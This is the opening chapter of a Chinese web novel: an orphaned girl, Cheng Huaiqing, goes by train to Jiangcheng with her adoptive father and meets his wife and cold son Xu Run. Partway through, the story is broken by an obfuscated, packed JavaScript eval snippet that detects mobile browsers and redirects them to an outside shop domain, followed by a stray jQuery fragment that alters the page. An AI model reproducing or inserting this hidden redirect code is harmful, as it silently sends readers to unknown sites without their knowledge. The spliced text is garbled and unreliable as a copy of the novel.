程槐清第一次见许润，也是夏天。
十二年前，八月中的某一天。
天还没亮，绿皮火车亮着明黄的两颗大灯，在重叠的群山之间缓慢行驶。
车厢里很静，似乎所有人都陷入了沉睡。
程槐清后背贴着火车冰凉的金属墙壁，捧着单词册，蹲在唯一亮灯的卫生间门口，看似在认真背单词，心思却全不在上面。
对面的女人起码盯着她看了五分钟了，一句话也不说，就只是看。
程槐清抬头和她对视，试图逼退她，可女人只是对她笑，目光仍然还在她身上。
忍无可忍，程槐清假装腿麻站了起来，一边抖动着手脚，一边偷偷观察女人的反应。
看到她站起来，女人果然开口了，“你是阳城人？”
听到她说话，程槐清这才明白她刚刚大概是在看她校服上的字。
程槐清点点头，“对。”
女人笑：“我也是阳城人。”
她阳城口音很重，刚刚一开口，程槐清就已经猜到了。
“你去哪？”她问。
“江城。”程槐清低头把怀里的书包正了正，挡住了校服上的字。
“远喏，”女人拉长声音感叹。
她站在这里大概是为了等人，闲得慌，就继续跟程槐清搭话，“你去江城做什么？”
……
听到这个问题，程槐清有点僵住了，她低了低脑袋，没说话。
气氛顿时就变得有点尴尬。
这时，旁边忽然插进来一道嘶哑的男声：“你在这啊，吓我一跳，还以为你下车了。”
程槐清抬头，看向旁边不知道什么时候走过来的男人。
男人穿一件花衬衫，牛仔短裤，脚上趿着双皮凉鞋，手上抱着个皮公文包，长得又黑又壮五大三粗的，不像是好人。
“我过来背单词。”程槐清小幅度举了下手里的书，冲他笑了一下。
“行，”林江海伸手抹了把脸，又把手插回兜里，往后退了两步抬头看了眼车厢顶的电子钟，又走回来，问程槐清：“想吃什么早饭，我去餐车买。”
程槐清摇头：“我不饿，你随便买吧。”
林江海没说什么，点了下脑袋，扭头走了。
女人眼神怪异地看看程槐清，又看看林江海的背影，沉默了片刻，挪到了程槐清旁边，用一种压得极低的声音悄悄问她：“小姑娘，你是真的认识那个人吗？你跟我说实话，我会帮你的。”
程槐清愣了一下，随即明白了她多半是把林江海误认成了人贩子。
“认识的，”程槐清冲她笑了笑，解释道：“他是我叔叔，接我去江城看奶奶。”
“哦，这样啊。”女人的表情放松瞬间放松了下来，笑道：“我听他江城口音太重，才想多了，没事就好。”
“谢谢你。”程槐清笑。
“谢什么，”女人不好意思地摆摆手，“举手之劳。”
“妈。”厕所门打开，一个小女孩从厕所里出来冲女人喊了一声。
女人伸出手牵住她，然后朝程槐清轻轻点了点头。
“先走啦。”她说。
“好。”
程槐清目送这对母女顺利入座，才在心里默默松了口气，刚刚她撒谎了。
她认识林江海不假，但他并不是她的什么叔叔，他是她的养父，她去江城，也不是为了看奶奶，是要去林江海家。
程槐清的父亲上月去世了，林江海收养了她。
程槐清家是个重组家庭，她八岁那年亲妈去世以后没多久，他爸就把继母娶回了家，第二年继母就生了个弟弟。
弟弟出生那会她已经十岁了，开始懂事了。后来想起来，那段日子可能是她人生中最灰暗的时期之一。
程槐清的父亲是个在国营工厂里干活的普通工人，每月的薪水固定就那么点，继母没工作，家里就指着他一个人吃饭。
生了弟弟以后，家里多了张嘴，婴儿的开销又特别高，家里只好节衣缩食，先紧着他。
这节衣缩食，继母肯定不会亏待自己，她爸平时就节俭不怎么花钱，最后真正节衣缩食的就只有程槐清。
那时的她，除了校服甚至没有一件能穿出门的衣服，但她爸对这事好像无知无觉。
他很忙，为了挣钱开始帮别人顶班，程槐清常常一个月都见不到他几次，偶尔他在家，也都是在呼呼大睡，难得有清醒的时候，也无一例外地在逗弟弟玩，程槐清站在旁边，想和他讲句话都很难。
她在这个家里的唯一作用，好像就是带孩子干家务，其他时候程槐清都觉得自己很多余。
她曾无数次想过，要是不上学出去打工，是不是就能早点离开家，哪怕她的成绩其实很好。
经过长时间的考虑，她决定读完初中再离开，毕竟有了初中文凭，拿到的工资也能更多一点。
但谁也没料到，初中的最后一年还没开学，她爸就因为疲劳过度，猝死在了岗位上。
不知是太冷血还是怎么，她知道这件事的第一反应竟然是，继母不会让她继续读书了。
现实却比她想的要糟糕，父亲下葬没多久，继母就卷了家里所有的钱带着弟弟跑了。
程槐清一开始没意识到继母跑了，独自在快要到期的出租屋待了三天，直到冰箱弹尽粮绝，才出门报了警。
她的情况很棘手，除了父母，也没有个旁支亲戚什么的，警察也一直联系不上她继母，只好给她买了点吃的，让她先回家等消息。
就是等消息那几天，林江海来了。
程槐清看到他的第一眼就吓了一跳，没敢开门。
他站在门外，说他是来还钱的，年初借了她爸爸的五万块钱，听说她爸重病动手术急需要钱，他就连夜从江城把钱送来了。
程槐清让他先回去，他却说什么都不肯走，说她父母电话打不通，让她给个联系方式。
程槐清无奈，只好报了警。
警局里，林江海才得知程槐清家的变故。
听完以后，他沉默了很久，然后说要出去抽一根烟，这一去就去了很久。
所有人都以为他走了，没想到他后来又回来了。
他对警察说：“我欠了人家钱，现在人死了，钱也还不了，我能帮他养大这闺女吗？”
警察很惊讶，问他确不确定，他说确定，然后就被叫到另一个房间盘问了很久。
从问话的房间出来，他蹲在程槐清旁边，目光和她平齐，问她，是要继续等继母的消息还是跟他走。
程槐清记得自己只问了一句：“能继续让我读书吗？”
她不止想读完初中，她其实还想读高中，想读大学……
林江海没有一点犹豫就点了头，“只要你愿意。”
然后，程槐清就跟林江海走了。
“呐，包子。”
程槐清走回座位，林江海已经吃上了，他把塑料袋里的两个包子往她面前推了推，“肉的和豆沙的，你吃哪个？”
程槐清看也没看，随便拿了个咬开，甜的，是豆沙的。
“还有四个小时就到江城了。”林江海看着窗外还雾蒙蒙的天，伸了个懒腰，“几十个小时的车坐死我了。”他扭扭腰看向程槐清，“你呢，你坐累没有。”
程槐清摇头，“还好。”
“年轻人就是抗造，我是不行了，老喽，老喽。”林江海感叹两句，掏出手机，头一歪，靠在墙上，和人发信息。
程槐清一夜没睡，吃完包子觉得有点困，就靠着椅背闭上了眼睛，很快就在周围逐渐苏醒的人声里睡着了。
肩膀被人拍了两下，程槐清睁开眼睛。
外面天已经完全亮了。
林江海站在过道上，手里拎着她的书包，低头看着她。
“到站了，下车。”
江城是这班车的终点站，下车的人很多，程槐清的校服袖子被林江海揪了一路，好像怕她走丢。
车站外是个大晴天，天上没有几片云，太阳亮得发白，水泥地都烫脚，动两下就得出一身汗。
林江海领着程槐清到路边打车。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913169|213212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路边挤了一堆黄色的出租车。司机们都站在外面，带着墨镜，要么举着牌，要么嘴里喊着目的地和价格，都忙着揽生意。
林江海顶着烈日和司机讨价还价半天，终于让人家便宜了十块钱。
“快上车，”林江海招手冲站在路边树荫里的程槐清招手，“回家了。”
大热的天，司机空调也舍不得开，只开着窗户，说自然风最好。
可自然风也是热的。
程槐清之前的人生从未见识过江城这样的高温，没多久就热得恹恹的，连风景也不想看了，只靠着车门，听林江海和司机天南地北地闲扯。
他们是在一所医院后面下的车。
程槐清印象很深，因为那是个被黄桷树覆盖的斜坡，树荫浓密，车一开进这里，温度就降了下来。
下车以后，林江海带她进了个绿化不错的小区，小区里全是七层高的水泥色楼房，都装着统一的蓝玻璃窗户。
林江海家是小区最里的一栋楼，三楼右侧，门是自己重新装的绿色防盗门。
到家门口，林江海先掀起衣摆擦了把脸上的汗，又整理了一下衣服，才抬手敲门。一套动作下来，正式得程槐清都跟着紧张。
来开门的是个穿围裙，打扮时髦的女人，黄头发，蓝眼影，粘了假睫毛，长得十分漂亮。
她是林江海的老婆，许敏虹。
“回来了，”许敏虹笑眼弯弯地看着门口两人，“热坏了吧，我冻了冰西瓜，这个天气吃最解暑了。”
林江海悄咪咪撞了撞程槐清的胳膊，程槐清心领神会。
“许阿姨好。”
许敏虹早就盯着程槐清看了，听到她喊人，一下笑起来，把她拉倒面前，“这就是清清吧，哎哟，皮肤真白，长得真好看。”
程槐清知道她是客套，笑了笑，没说话。
那时候的她，因为长期的营养不良，长得面黄肌瘦，像个难民，全身上下，唯一看的过去的或许只有那双清澈的眼睛。
进屋洗手，吃西瓜，许敏虹表现得异常热情。
程槐清手上的还没吃完，她就又塞来一片，程槐清不好拒绝，直到连吃三块，肚子里都能听到水响，才忍不住婉拒。
“清清，你平时喜欢吃什么？午饭叫你林叔叔去买。”许敏虹可能看她太瘦，一直在问她关于吃饭的事。。
“都还好。”程槐清腼腆地笑笑，“我都可以吃。”
从前家里都是程槐清做饭，味道嘛，只能说勉强能吃，导致她对食物一直没什么欲望。
许敏虹笑，“行，那我就看着做。”
说是看着做，等程槐清洗完澡出来看到餐桌上一大桌子菜的时候，整个人都惊呆了。
鸡鸭鱼都有，种类齐全，比她家过年吃的都丰盛。。
“洗好了？”许敏虹正巧端着一盘凉拌菜从厨房出来，看她这么惊讶，笑道：“饿了吧，快吹干头发吃饭了，吹风机我给你放在沙发上了。”
厨房里大火炒菜的“哐啷”声还未停歇，程槐清实打实地愣了两秒，才点头说好，去客厅吹头发。
头发吹到一半，厨房的抽烟机还在轰鸣，门先响了。
程槐清关掉吹风机，转头看见许敏虹已经把门打开了。
进来的人是个个子很高的少年，穿着蓝白色的校服。
许敏虹扭头对程槐清笑道：“清清，这是我儿子许润，比你大两岁，要叫哥哥。”
“哥哥好。”程槐清依旧上道。
许润扭头扫了她一眼，什么都没说，弯腰换鞋。
他的眉眼其实和许敏虹很像，都是高鼻深目，一双桃花眼，可以说长得很好看。但许敏虹始终是笑着的，让人觉得亲切，他却面色冷淡，全身都散发着一种生人勿近的气质，眼下程槐清就是那个生人。
程槐清愣住了，有点不知所措地看向站在一旁的许敏虹。
许敏虹却只笑了笑，什么也没说。
那是程槐清第一次见许润，后来，再想起这事，就觉得她和许润关系不好，大概就是那时候埋下的种子。